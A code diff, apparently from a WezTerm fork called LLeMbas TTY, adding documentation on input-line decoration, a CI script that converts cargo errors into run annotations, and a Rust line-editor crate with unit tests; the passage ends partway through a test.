@@ -73,13 +114,24 @@ named `context-<unix seconds>-<random>.json`:
|
||||
"screen": "…only when the shell marks no commands…" }
|
||||
```
|
||||
|
||||
`exit` is always `null` today: WezTerm's Lua interface does not expose the
|
||||
exit status that OSC 133 `D` carries. Files older than ten minutes are
|
||||
removed the next time one is written.
|
||||
It is still version 1 (which the CLI reads): `exit` is `null`, and the blocks carry no
|
||||
`seq`. Files older than ten minutes are removed the next time one is written.
|
||||
|
||||
Whether a CLI is new enough is decided in exactly one function,
|
||||
`core.cli_supports_terminal`, today by comparing `lembas --version` with
|
||||
`core.MIN_CLI_VERSION`.
|
||||
## What the terminal draws on the input line
|
||||
|
||||
`wezterm-gui/src/llembas/decorate.rs`, at the moment a pane is painted: the rows near the
|
||||
cursor are read as cells, `llembas_line::zone` finds the input line among them (the cells the
|
||||
shell integration marked as input, touching the cursor), and a *plan* says which cells get
|
||||
another text colour and what text is placed after the cursor. The painter is handed the
|
||||
pane's own lines, with copies of the few rows the plan changes. Nothing is written to the
|
||||
pane and the terminal's model of the screen is not touched. The plan is kept while the
|
||||
pane's content, the cursor and what is on stay the same.
|
||||
|
||||
Off for a pane: while a full-screen program has it, without the shell integration, when the
|
||||
input line is longer than three rows, under an overlay (search, copy mode, the ask line),
|
||||
and when the options are off. The suggestion is drawn only in the pane that has the
|
||||
keyboard, over blank cells only. Whether a command or a path exists is looked up only for a
|
||||
local pane whose shell reports this machine as its host.
|
||||
|
||||
## Checking a change without building
|
||||
|
||||
@@ -87,10 +139,15 @@ Whether a CLI is new enough is decided in exactly one function,
|
||||
scripts/test-lua.sh --all # the layer, with every Lua found
|
||||
scripts/hygiene.sh
|
||||
rustfmt --check --edition 2018 <file> # for a Rust file you touched
|
||||
rustfmt --check --edition 2021 llembas/line/src/*.rs
|
||||
llembas/tests/shell-test.sh # the status record, in bash and zsh
|
||||
shellcheck llembas/shell/*.sh llembas/shell/autocomplete.bash; zsh -n llembas/shell/autocomplete.zsh
|
||||
```
|
||||
|
||||
The terminal itself is built by CI only. `llembas/tests/smoke.sh <dir>` runs
|
||||
The terminal itself is built by CI only, and so are the tests of `llembas/line`
|
||||
(`cargo test -p llembas-line`, the first Rust step of the workflow). CI's log needs a login
|
||||
to read; `llembas/ci/cargo-annotated.sh` therefore turns every compiler error and failed test
|
||||
into an annotation on the run, which does not. `llembas/tests/smoke.sh <dir>` runs
|
||||
against built binaries with no display: names, directories, variables, the
|
||||
built-in layer and the `cli` commands the LLeMbas CLI uses.
|
||||
|
||||
@@ -132,9 +189,12 @@ scripts/test-lua.sh --all
|
||||
Conflicts can only be in the blocks that grep lists. If upstream changes how
|
||||
panes get their environment, how configuration files are found, or the Lua
|
||||
API the layer calls (`pane:get_semantic_zones`, `get_text_from_semantic_zone`,
|
||||
`get_user_vars`, `split`, `PromptInputLine`, `InputSelector`,
|
||||
`update-status`, `format-tab-title`, `augment-command-palette`,
|
||||
`user-var-changed`), re-read those blocks and `lua/llembas/init.lua`.
|
||||
`get_user_vars`, `split`, `activate`, `tab_id`, `PromptInputLine`, `InputSelector`,
|
||||
`SpawnCommandInNewTab`, `TogglePaneZoomState`, `update-status`, `format-tab-title`,
|
||||
`augment-command-palette`, `user-var-changed`), re-read those blocks and
|
||||
`lua/llembas/init.lua`. If it changes the `Pane` trait, how overlays are assigned
|
||||
(`assign_overlay_for_pane`), `WithPaneLines`, or `Line`'s cells, re-read
|
||||
`wezterm-gui/src/llembas/` against `overlay/quickselect.rs`, which it is modelled on.
|
||||
|
||||
## Later
|
||||
|
||||
@@ -150,8 +210,11 @@ API the layer calls (`pane:get_semantic_zones`, `get_text_from_semantic_zone`,
|
||||
binary names); the packaging (`ci/deploy.sh`, the installer script, the
|
||||
`.app` directory's name and icon) still carries WezTerm's names, and the
|
||||
layer writes its context file with `chmod`, which Windows does not have.
|
||||
- **fish.** Ghost text in fish means replacing its own autosuggestion, which
|
||||
it does not offer a hook for; a key binding like bash's
|
||||
(`commandline -i (… | lembas complete --shell fish)`) is the part that fits.
|
||||
- **Ghost text drawn by the terminal** instead of by the shell would work in
|
||||
every shell and over ssh, and needs Rust in the renderer and the key path.
|
||||
- **fish.** The shell integration is for bash and zsh. What the terminal draws needs only
|
||||
the marks around the input line (OSC 133) and the status record; a `llembas-tty.fish` that
|
||||
gives both is the part to write.
|
||||
- **The shell's aliases and functions** are not known to the terminal, so a command that is
|
||||
one is not marked as existing (and `colors.unknown` is off by default for that reason). The
|
||||
shell integration could publish their names.
|
||||
- **Context file version 2** (`blocks[].seq`, `host`): the terminal would keep the status
|
||||
record's `seq` with each command it saw.
|
||||
Executable
+68
@@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env bash
|
||||
# Run a cargo command so that what goes wrong can be read from the run's annotations, which
|
||||
# need no login, as well as from its log, which does.
|
||||
#
|
||||
# llembas/ci/cargo-annotated.sh build --release --locked -p wezterm-gui
|
||||
# llembas/ci/cargo-annotated.sh test --release --locked -p config
|
||||
#
|
||||
# cargo is asked for its messages as JSON (the option is put right after the subcommand, so
|
||||
# no `--` with arguments for the tests may be given). Then:
|
||||
# - every compiler error is printed as the compiler rendered it, and becomes an annotation at
|
||||
# its file and line. A step shows ten annotations at most, so the first nine stand alone and
|
||||
# the next thirty share the tenth;
|
||||
# - what the tests printed is shown as it was, and when they failed the lines that say which
|
||||
# and why become one annotation;
|
||||
# - a failure that is neither (a build script, the linker, cargo itself) is annotated with the
|
||||
# end of what cargo wrote.
|
||||
# The exit status is cargo's.
|
||||
set -uo pipefail
|
||||
[ "$#" -ge 1 ] || { echo "usage: cargo-annotated.sh <subcommand> [arguments]" >&2; exit 2; }
|
||||
|
||||
work="$(mktemp -d)"
|
||||
trap 'rm -rf "${work:?}"' EXIT
|
||||
sub="$1"
|
||||
shift
|
||||
|
||||
"${CARGO:-cargo}" "$sub" --message-format=json "$@" >"$work/out" 2> >(tee "$work/err" >&2)
|
||||
rc=$?
|
||||
# the tee above is another process: let it finish writing
|
||||
sleep 1
|
||||
|
||||
# What is not a JSON message is what a test binary printed.
|
||||
grep -v '^{' "$work/out" >"$work/plain" || true
|
||||
cat "$work/plain"
|
||||
|
||||
# One line per error: the annotation command, with the message escaped for it.
|
||||
jq -rR '
|
||||
def esc: gsub("%"; "%25") | gsub("\r"; "%0D") | gsub("\n"; "%0A");
|
||||
fromjson?
|
||||
| select(type == "object" and .reason == "compiler-message")
|
||||
| .message
|
||||
| select(.level == "error" or .level == "error: internal compiler error")
|
||||
| select((.message // "") | startswith("aborting due to") | not)
|
||||
| ((.spans // []) | map(select(.is_primary)) | .[0]) as $s
|
||||
| ((.rendered // .message // "") | .[0:1800] | esc) as $text
|
||||
| if $s then "::error file=\($s.file_name),line=\($s.line_start),title=rustc::\($text)"
|
||||
else "::error title=rustc::\($text)" end
|
||||
' "$work/out" >"$work/errors" 2>/dev/null || true
|
||||
|
||||
# In the log: every error as rendered, whether cargo failed or not.
|
||||
jq -rR 'fromjson? | select(type == "object" and .reason == "compiler-message") | .message
|
||||
| select(.level | startswith("error")) | .rendered // .message' "$work/out" 2>/dev/null || true
|
||||
|
||||
if [ "$rc" -ne 0 ] && [ -n "${GITHUB_ACTIONS:-}" ]; then
|
||||
count="$(wc -l <"$work/errors")"
|
||||
head -n 9 "$work/errors"
|
||||
if [ "$count" -gt 9 ]; then
|
||||
rest="$(sed -n '10,39p' "$work/errors" | sed 's/^::error [^:]*title=rustc:://; s/^::error title=rustc:://' | awk 'BEGIN{ORS="%0A%0A"} {print substr($0, 1, 700)}')"
|
||||
printf '::error title=rustc (%s errors in all, from the tenth)::%s\n' "$count" "$rest"
|
||||
fi
|
||||
failing="$(grep -E -A6 'panicked at|^---- .* ----$|^test .* FAILED$|^failures:$|test result: FAILED' "$work/plain" | head -n 80 | head -c 6000)"
|
||||
if [ -n "$failing" ]; then
|
||||
printf '::error title=cargo %s: tests::%s\n' "$sub" "$(printf '%s' "$failing" | sed 's/%/%25/g' | awk 'BEGIN{ORS="%0A"} {print}')"
|
||||
fi
|
||||
if [ "$count" -eq 0 ] && [ -z "$failing" ]; then
|
||||
printf '::error title=cargo %s failed::%s\n' "$sub" "$(tail -n 40 "$work/err" | head -c 6000 | sed 's/%/%25/g' | awk 'BEGIN{ORS="%0A"} {print}')"
|
||||
fi
|
||||
fi
|
||||
exit "$rc"
|
||||
@@ -0,0 +1,17 @@
|
||||
# LLeMbas TTY: what the terminal decides about a line of text, with no terminal in it.
|
||||
# The ask line's editor, the shell's input line as read from the screen, the terminal's own
|
||||
# command history and its suggestions, and the colours of a command line. Nothing here knows
|
||||
# about a window, a pane or a font: wezterm-gui/src/llembas/ is the thin part that does, and
|
||||
# this crate is the part that is tested (`cargo test -p llembas-line`).
|
||||
[package]
|
||||
name = "llembas-line"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
license = "MIT"
|
||||
publish = false
|
||||
description = "LLeMbas TTY: the logic of the ask line, suggestions and highlighting, without a terminal"
|
||||
|
||||
[lib]
|
||||
path = "src/lib.rs"
|
||||
|
||||
[dependencies]
|
||||
@@ -0,0 +1,626 @@
|
||||
//! The ask line: the line a person types a question for LLeMbas on, in place
|
||||
//! of the shell's own line. The terminal keeps this editor itself, so nothing
|
||||
//! typed here ever reaches the shell.
|
||||
|
||||
/// The most characters a question may have.
|
||||
pub const MAX_CHARS: usize = 4000;
|
||||
/// The most earlier questions that are kept.
|
||||
pub const MAX_HISTORY: usize = 100;
|
||||
/// What stands between the prefix and the question.
|
||||
pub const SEPARATOR: &str = " \u{203a} ";
|
||||
/// What stands for the part of a long question that is scrolled out.
|
||||
pub const ELLIPSIS: char = '\u{2026}';
|
||||
|
||||
/// What a key press means to the editor. The terminal's part maps its own key
|
||||
/// codes to these.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Key {
|
||||
Char(char),
|
||||
Backspace,
|
||||
Delete,
|
||||
Left,
|
||||
Right,
|
||||
Home,
|
||||
End,
|
||||
WordLeft,
|
||||
WordRight,
|
||||
DeleteWordLeft,
|
||||
DeleteWordRight,
|
||||
DeleteToStart,
|
||||
DeleteToEnd,
|
||||
/// An earlier question.
|
||||
Up,
|
||||
/// A later one, and at last what was being typed.
|
||||
Down,
|
||||
Enter,
|
||||
Cancel,
|
||||
}
|
||||
|
||||
/// What a key did.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum Outcome {
|
||||
Unchanged,
|
||||
Changed,
|
||||
/// Send this question.
|
||||
Submit(String),
|
||||
/// Leave the ask line; nothing is sent.
|
||||
Cancel,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct LineEditor {
|
||||
chars: Vec<char>,
|
||||
cursor: usize,
|
||||
/// Earlier questions, the oldest first.
|
||||
history: Vec<String>,
|
||||
/// Which earlier question is shown, while walking through them.
|
||||
at: Option<usize>,
|
||||
/// What was being typed before walking through earlier questions.
|
||||
stash: Vec<char>,
|
||||
}
|
||||
|
||||
/// A character as it may stand on the line: a line break or a tab is a space,
|
||||
/// any other control character is nothing.
|
||||
fn clean_char(c: char) -> Option<char> {
|
||||
if c == '\n' || c == '\r' || c == '\t' {
|
||||
Some(' ')
|
||||
} else if c.is_control() {
|
||||
None
|
||||
} else {
|
||||
Some(c)
|
||||
}
|
||||
}
|
||||
|
||||
impl LineEditor {
|
||||
pub fn new(history: &[String]) -> Self {
|
||||
LineEditor {
|
||||
chars: Vec::new(),
|
||||
cursor: 0,
|
||||
history: history.to_vec(),
|
||||
at: None,
|
||||
stash: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn text(&self) -> String {
|
||||
self.chars.iter().collect()
|
||||
}
|
||||
|
||||
pub fn chars(&self) -> &[char] {
|
||||
&self.chars
|
||||
}
|
||||
|
||||
/// Where the cursor is: before the character of this index.
|
||||
pub fn cursor(&self) -> usize {
|
||||
self.cursor
|
||||
}
|
||||
|
||||
pub fn is_empty(&self) -> bool {
|
||||
self.chars.is_empty()
|
||||
}
|
||||
|
||||
fn word_left(&self) -> usize {
|
||||
let mut i = self.cursor;
|
||||
while i > 0 && self.chars[i - 1].is_whitespace() {
|
||||
i -= 1;
|
||||
}
|
||||
while i > 0 && !self.chars[i - 1].is_whitespace() {
|
||||
i -= 1;
|
||||
}
|
||||
i
|
||||
}
|
||||
|
||||
fn word_right(&self) -> usize {
|
||||
let n = self.chars.len();
|
||||
let mut i = self.cursor;
|
||||
while i < n && self.chars[i].is_whitespace() {
|
||||
i += 1;
|
||||
}
|
||||
while i < n && !self.chars[i].is_whitespace() {
|
||||
i += 1;
|
||||
}
|
||||
i
|
||||
}
|
||||
|
||||
fn set_line(&mut self, chars: Vec<char>) {
|
||||
self.chars = chars;
|
||||
self.cursor = self.chars.len();
|
||||
}
|
||||
|
||||
fn insert_char(&mut self, c: char) -> bool {
|
||||
if self.chars.len() >= MAX_CHARS {
|
||||
return false;
|
||||
}
|
||||
self.chars.insert(self.cursor, c);
|
||||
self.cursor += 1;
|
||||
true
|
||||
}
|
||||
|
||||
/// Text put on the line at once: a paste, or composed input. Line breaks
|
||||
/// become one space each (a pasted question of several lines is still one
|
||||
/// question), other control characters are dropped.
|
||||
pub fn insert_text(&mut self, text: &str) -> Outcome {
|
||||
let mut changed = false;
|
||||
let mut last_was_break = false;
|
||||
for c in text.chars() {
|
||||
let is_break = c == '\n' || c == '\r';
|
||||
if is_break && last_was_break {
|
||||
continue;
|
||||
}
|
||||
last_was_break = is_break;
|
||||
if let Some(c) = clean_char(c) {
|
||||
if self.insert_char(c) {
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
if changed {
|
||||
Outcome::Changed
|
||||
} else {
|
||||
Outcome::Unchanged
|
||||
}
|
||||
}
|
||||
|
||||
pub fn key(&mut self, key: Key) -> Outcome {
|
||||
let n = self.chars.len();
|
||||
match key {
|
||||
Key::Char(c) => match clean_char(c) {
|
||||
Some(c) => {
|
||||
if self.insert_char(c) {
|
||||
Outcome::Changed
|
||||
} else {
|
||||
Outcome::Unchanged
|
||||
}
|
||||
}
|
||||
None => Outcome::Unchanged,
|
||||
},
|
||||
Key::Backspace => {
|
||||
if self.cursor == 0 {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor -= 1;
|
||||
self.chars.remove(self.cursor);
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Delete => {
|
||||
if self.cursor >= n {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.chars.remove(self.cursor);
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Left => {
|
||||
if self.cursor == 0 {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor -= 1;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Right => {
|
||||
if self.cursor >= n {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor += 1;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Home => {
|
||||
if self.cursor == 0 {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor = 0;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::End => {
|
||||
if self.cursor == n {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor = n;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::WordLeft => {
|
||||
let to = self.word_left();
|
||||
if to == self.cursor {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor = to;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::WordRight => {
|
||||
let to = self.word_right();
|
||||
if to == self.cursor {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.cursor = to;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::DeleteWordLeft => {
|
||||
let to = self.word_left();
|
||||
if to == self.cursor {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.chars.drain(to..self.cursor);
|
||||
self.cursor = to;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::DeleteWordRight => {
|
||||
let to = self.word_right();
|
||||
if to == self.cursor {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.chars.drain(self.cursor..to);
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::DeleteToStart => {
|
||||
if self.cursor == 0 {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.chars.drain(0..self.cursor);
|
||||
self.cursor = 0;
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::DeleteToEnd => {
|
||||
if self.cursor >= n {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
self.chars.truncate(self.cursor);
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Up => {
|
||||
if self.history.is_empty() {
|
||||
return Outcome::Unchanged;
|
||||
}
|
||||
let next = match self.at {
|
||||
None => {
|
||||
self.stash = self.chars.clone();
|
||||
self.history.len() - 1
|
||||
}
|
||||
Some(0) => return Outcome::Unchanged,
|
||||
Some(i) => i - 1,
|
||||
};
|
||||
self.at = Some(next);
|
||||
let line: Vec<char> = self.history[next].chars().collect();
|
||||
self.set_line(line);
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Down => {
|
||||
let i = match self.at {
|
||||
None => return Outcome::Unchanged,
|
||||
Some(i) => i,
|
||||
};
|
||||
if i + 1 < self.history.len() {
|
||||
self.at = Some(i + 1);
|
||||
let line: Vec<char> = self.history[i + 1].chars().collect();
|
||||
self.set_line(line);
|
||||
} else {
|
||||
self.at = None;
|
||||
let line = std::mem::take(&mut self.stash);
|
||||
self.set_line(line);
|
||||
}
|
||||
Outcome::Changed
|
||||
}
|
||||
Key::Enter => {
|
||||
let text = self.text();
|
||||
let text = text.trim();
|
||||
if text.is_empty() {
|
||||
Outcome::Cancel
|
||||
} else {
|
||||
Outcome::Submit(text.to_string())
|
||||
}
|
||||
}
|
||||
Key::Cancel => Outcome::Cancel,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Keep a question that was sent among the earlier ones: the newest last, each
|
||||
/// once, no more than [`MAX_HISTORY`].
|
||||
pub fn remember(history: &mut Vec<String>, line: &str) {
|
||||
let line = line.trim();
|
||||
if line.is_empty() {
|
||||
return;
|
||||
}
|
||||
history.retain(|h| h != line);
|
||||
history.push(line.to_string());
|
||||
if history.len() > MAX_HISTORY {
|
||||
let extra = history.len() - MAX_HISTORY;
|
||||
history.drain(0..extra);
|
||||
}
|
||||
}
|
||||
|
||||
/// The ask line as it fits one row of a pane.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct View {
|
||||
/// What stands before the question: the prefix and the separator, or less
|
||||
/// when the row is narrow.
|
||||
pub lead: String,
|
||||
/// The part of the question that shows.
|
||||
pub text: String,
|
||||
/// The column of the cursor in the row.
|
||||
pub cursor_col: usize,
|
||||
}
|
||||
|
||||
/// Fit the ask line into `cols` columns. `width` gives the columns a character
|
||||
/// takes. The cursor is always in the row; a question longer than the row
|
||||
/// scrolls, with an ellipsis where its beginning went.
|
||||
pub fn view(
|
||||
prefix: &str,
|
||||
chars: &[char],
|
||||
cursor: usize,
|
||||
cols: usize,
|
||||
width: &dyn Fn(char) -> usize,
|
||||
) -> View {
|
||||
let cursor = cursor.min(chars.len());
|
||||
let text_width = |s: &str| -> usize { s.chars().map(|c| width(c)).sum() };
|
||||
|
||||
let full = format!("{}{}", prefix, SEPARATOR);
|
||||
let short = format!("{} ", SEPARATOR.trim());
|
||||
let lead = if text_width(&full) + 8 <= cols {
|
||||
full
|
||||
} else if text_width(&short) + 2 <= cols {
|
||||
short
|
||||
} else {
|
||||
String::new()
|
||||
};
|
||||
let lead_width = text_width(&lead);
|
||||
// the columns the question has, and one of them is kept for the cursor
|
||||
let limit = cols.saturating_sub(lead_width);
|
||||
let room = limit.saturating_sub(1);
|
||||
|
||||
let before: usize = chars[..cursor].iter().map(|c| width(*c)).sum();
|
||||
let mut first = 0;
|
||||
if before > room {
|
||||
// scrolled: one column goes to the ellipsis
|
||||
let budget = room.saturating_sub(1);
|
||||
first = cursor;
|
||||
let mut acc = 0;
|
||||
while first > 0 {
|
||||
let w = width(chars[first - 1]);
|
||||
if acc + w > budget {
|
||||
break;
|
||||
}
|
||||
acc += w;
|
||||
first -= 1;
|
||||
}
|
||||
}
|
||||
|
||||
let mut text = String::new();
|
||||
let mut used = 0;
|
||||
if first > 0 && limit > 0 {
|
||||
text.push(ELLIPSIS);
|
||||
used += 1;
|
||||
}
|
||||
let mut cursor_col = lead_width + used;
|
||||
for (i, c) in chars.iter().enumerate().skip(first) {
|
||||
let w = width(*c);
|
||||
if used + w > limit {
|
||||
break;
|
||||
}
|
||||
text.push(*c);
|
||||
used += w;
|
||||
if i < cursor {
|
||||
cursor_col = lead_width + used;
|
||||
}
|
||||
}
|
||||
cursor_col = cursor_col.min(cols.saturating_sub(1));
|
||||
View {
|
||||
lead,
|
||||
text,
|
||||
cursor_col,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn typed(editor: &mut LineEditor, text: &str) {
|
||||
for c in text.chars() {
|
||||
editor.key(Key::Char(c));
|
||||
}
|
||||
}
|
||||
|
||||
fn one(_: char) -> usize {
|
||||
1
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn typing_and_moving() {
|
||||
let mut e = LineEditor::new(&[]);
|
||||
assert!(e.is_empty());
|
||||
typed(&mut e, "why did it fail");
|
||||
assert_eq!(e.text(), "why did it fail");
|
||||
assert_eq!(e.cursor(), 15);
|
||||
assert_eq!(e.key(Key::Home), Outcome::Changed);
|
||||
assert_eq!(e.cursor(), 0);
|
||||
assert_eq!(e.key(Key::Home), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Left), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Backspace), Outcome::Unchanged);
|
||||
e.key(Key::WordRight);
|
||||
assert_eq!(e.cursor(), 3);
|
||||
e.key(Key::WordRight);
|
||||
assert_eq!(e.cursor(), 7);
|
||||
e.key(Key::WordLeft);
|
||||
assert_eq!(e.cursor(), 4);
|
||||
e.key(Key::End);
|
||||
assert_eq!(e.cursor(), 15);
|
||||
assert_eq!(e.key(Key::End), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Right), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Delete), Outcome::Unchanged);
|
||||
e.key(Key::Left);
|
||||
e.key(Key::Char('!'));
|
||||
assert_eq!(e.text(), "why did it fai!l");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deleting() {
|
||||
let mut e = LineEditor::new(&[]);
|
||||
typed(&mut e, "one two three");
|
||||
assert_eq!(e.key(Key::DeleteWordLeft), Outcome::Changed);
|
||||
assert_eq!(e.text(), "one two ");
|
||||
e.key(Key::DeleteWordLeft);
|
||||
assert_eq!(e.text(), "one ");
|
||||
e.key(Key::Backspace);
|
||||
assert_eq!(e.text(), "one");
|
||||
e.key(Key::Home);
|
||||
e.key(Key::Delete);
|
||||
assert_eq!(e.text(), "ne");
|
||||
typed(&mut e, "x y ");
|
||||
assert_eq!(e.text(), "x y ne");
|
||||
e.key(Key::DeleteToEnd);
|
||||
assert_eq!(e.text(), "x y ");
|
||||
assert_eq!(e.key(Key::DeleteToEnd), Outcome::Unchanged);
|
||||
e.key(Key::Home);
|
||||
e.key(Key::DeleteWordRight);
|
||||
assert_eq!(e.text(), " y ");
|
||||
e.key(Key::End);
|
||||
e.key(Key::DeleteToStart);
|
||||
assert_eq!(e.text(), "");
|
||||
assert_eq!(e.key(Key::DeleteToStart), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::DeleteWordLeft), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::DeleteWordRight), Outcome::Unchanged);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sending_and_leaving() {
|
||||
let mut e = LineEditor::new(&[]);
|
||||
assert_eq!(
|
||||
e.key(Key::Enter),
|
||||
Outcome::Cancel,
|
||||
"an empty line sends nothing"
|
||||
);
|
||||
typed(&mut e, " ");
|
||||
assert_eq!(e.key(Key::Enter), Outcome::Cancel, "nor a blank one");
|
||||
typed(&mut e, "hello ");
|
||||
assert_eq!(e.key(Key::Enter), Outcome::Submit("hello".to_string()));
|
||||
assert_eq!(e.key(Key::Cancel), Outcome::Cancel);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn control_characters_never_stand_on_the_line() {
|
||||
let mut e = LineEditor::new(&[]);
|
||||
assert_eq!(e.key(Key::Char('\u{1b}')), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Char('\u{7}')), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Char('\u{9b}')), Outcome::Unchanged);
|
||||
assert_eq!(e.key(Key::Char('\t')), Outcome::Changed);
|
||||
assert_eq!(e.text(), " ");
|
||||
let mut e = LineEditor::new(&[]);
|
||||
assert_eq!(
|
||||
e.insert_text("first\r\nsecond\n\nthird\u{1b}[31m\u{7}"),
|
||||
Outcome::Changed
|
||||
);
|
||||
assert_eq!(e.text(), "first second third[31m");
|
||||
assert_eq!(e.insert_text("\u{1b}\u{7}"), Outcome::Unchanged);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pasting_goes_in_at_the_cursor() {
|
||||
let mut e = LineEditor::new(&[]);
|
||||
typed(&mut e, "ab");
|
||||
e.key(Key::Left);
|
||||
e.insert_text("XY");
|
||||
assert_eq!(e.text(), "aXYb");
|
||||
assert_eq!(e.cursor(), 3);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_question_is_not_endless() {
|
||||
let mut e = LineEditor::new(&[]);
|
||||
let long: String = std::iter::repeat('a').take(MAX_CHARS + 50).collect();
|
||||
e.insert_text(&long);
|
||||
assert_eq!(e.chars().len(), MAX_CHARS);
|
||||
assert_eq!(e.key(Key::Char('b')), Outcome::Unchanged);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn earlier_questions() {
|
||||
let history = vec!["first".to_string(), "second".to_string()];
|
||||
let mut e = LineEditor::new(&history);
|
||||
typed(&mut e, "dra");
|
||||
assert_eq!(e.key(Key::Up), Outcome::Changed);
|
||||
assert_eq!(e.text(), "second");
|
||||
assert_eq!(e.cursor(), 6);
|
||||
e.key(Key::Up);
|
||||
assert_eq!(e.text(), "first");
|
||||
assert_eq!(e.key(Key::Up), Outcome::Unchanged);
|
||||
e.key(Key::Down);
|
||||
assert_eq!(e.text(), "second");
|
||||
e.key(Key::Down);
|
||||
assert_eq!(e.text(), "dra", "back to what was being typed");
|
||||
assert_eq!(e.key(Key::Down), Outcome::Unchanged);
|
||||
let mut none = LineEditor::new(&[]);
|
||||
assert_eq!(none.key(Key::Up), Outcome::Unchanged);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn remembering() {
|
||||
let mut h = Vec::new();
|
||||
remember(&mut h, " one ");
|
||||
remember(&mut h, "two");
|
||||
remember(&mut h, "one");
|
||||
remember(&mut h, " ");
|
||||
assert_eq!(h, vec!["two".to_string(), "one".to_string()]);
|
||||
for i in 0..(MAX_HISTORY + 10) {
|
||||
remember(&mut h, &format!("q{}", i));
|
||||
}
|
||||
assert_eq!(h.len(), MAX_HISTORY);
|
||||
assert_eq!(h[h.len() - 1], format!("q{}", MAX_HISTORY + 9));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_line_fits_the_row() {
|
||||
let chars: Vec<char> = "hello".chars().collect();
|
||||
let v = view("llembas m \u{b7} auto", &chars, 5, 80, &one);
|
||||
assert_eq!(v.lead, "llembas m \u{b7} auto \u{203a} ");
|
||||
assert_eq!(v.text, "hello");
|
||||
assert_eq!(v.cursor_col, 19 + 5);
|
||||
let v = view("llembas", &chars, 2, 80, &one);
|
||||
assert_eq!(v.cursor_col, 10 + 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_long_question_scrolls() {
|
||||
let chars: Vec<char> = "abcdefghijklmnopqrstuvwxyz".chars().collect();
|
||||
// lead "p › " is 4 columns, the row has 14: ten for the question
|
||||
let v = view("p", &chars, 26, 14, &one);
|
||||
assert_eq!(v.lead, "p \u{203a} ");
|
||||
assert_eq!(v.text, "\u{2026}stuvwxyz");
|
||||
assert_eq!(v.cursor_col, 13, "the cursor stays in the row");
|
||||
let v = view("p", &chars, 0, 14, &one);
|
||||
assert_eq!(v.text, "abcdefghij");
|
||||
assert_eq!(v.cursor_col, 4);
|
||||
let v = view("p", &chars, 9, 14, &one);
|
||||
assert_eq!(v.text, "abcdefghij", "not scrolled while the cursor fits");
|
||||
assert_eq!(v.cursor_col, 13);
|
||||
let v = view("p", &chars, 10, 14, &one);
|
||||
assert_eq!(v.text, "\u{2026}cdefghijk");
|
||||
assert_eq!(v.cursor_col, 13);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_narrow_row_gives_up_the_prefix() {
|
||||
let chars: Vec<char> = "hi".chars().collect();
|
||||
let v = view("llembas big-model \u{b7} manual", &chars, 2, 20, &one);
|
||||
assert_eq!(v.lead, "\u{203a} ");
|
||||
assert_eq!(v.text, "hi");
|
||||
assert_eq!(v.cursor_col, 4);
|
||||
let v = view("llembas", &chars, 2, 3, &one);
|
||||
assert_eq!(v.lead, "");
|
||||
assert_eq!(v.cursor_col, 2);
|
||||
let v = view("llembas", &chars, 2, 0, &one);
|
||||
assert_eq!(v.text, "");
|
||||
assert_eq!(v.cursor_col, 0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn wide_characters_take_two_columns() {
|
||||
let wide = |c: char| if c == '\u{4e2d}' { 2 } else { 1 };
|
||||
let chars: Vec<char> = "a\u{4e2d}b".chars().collect();
|
||||
let v = view("p", &chars, 2, 40, &wide);
|
||||
assert_eq!(v.cursor_col, 4 + 3);
|
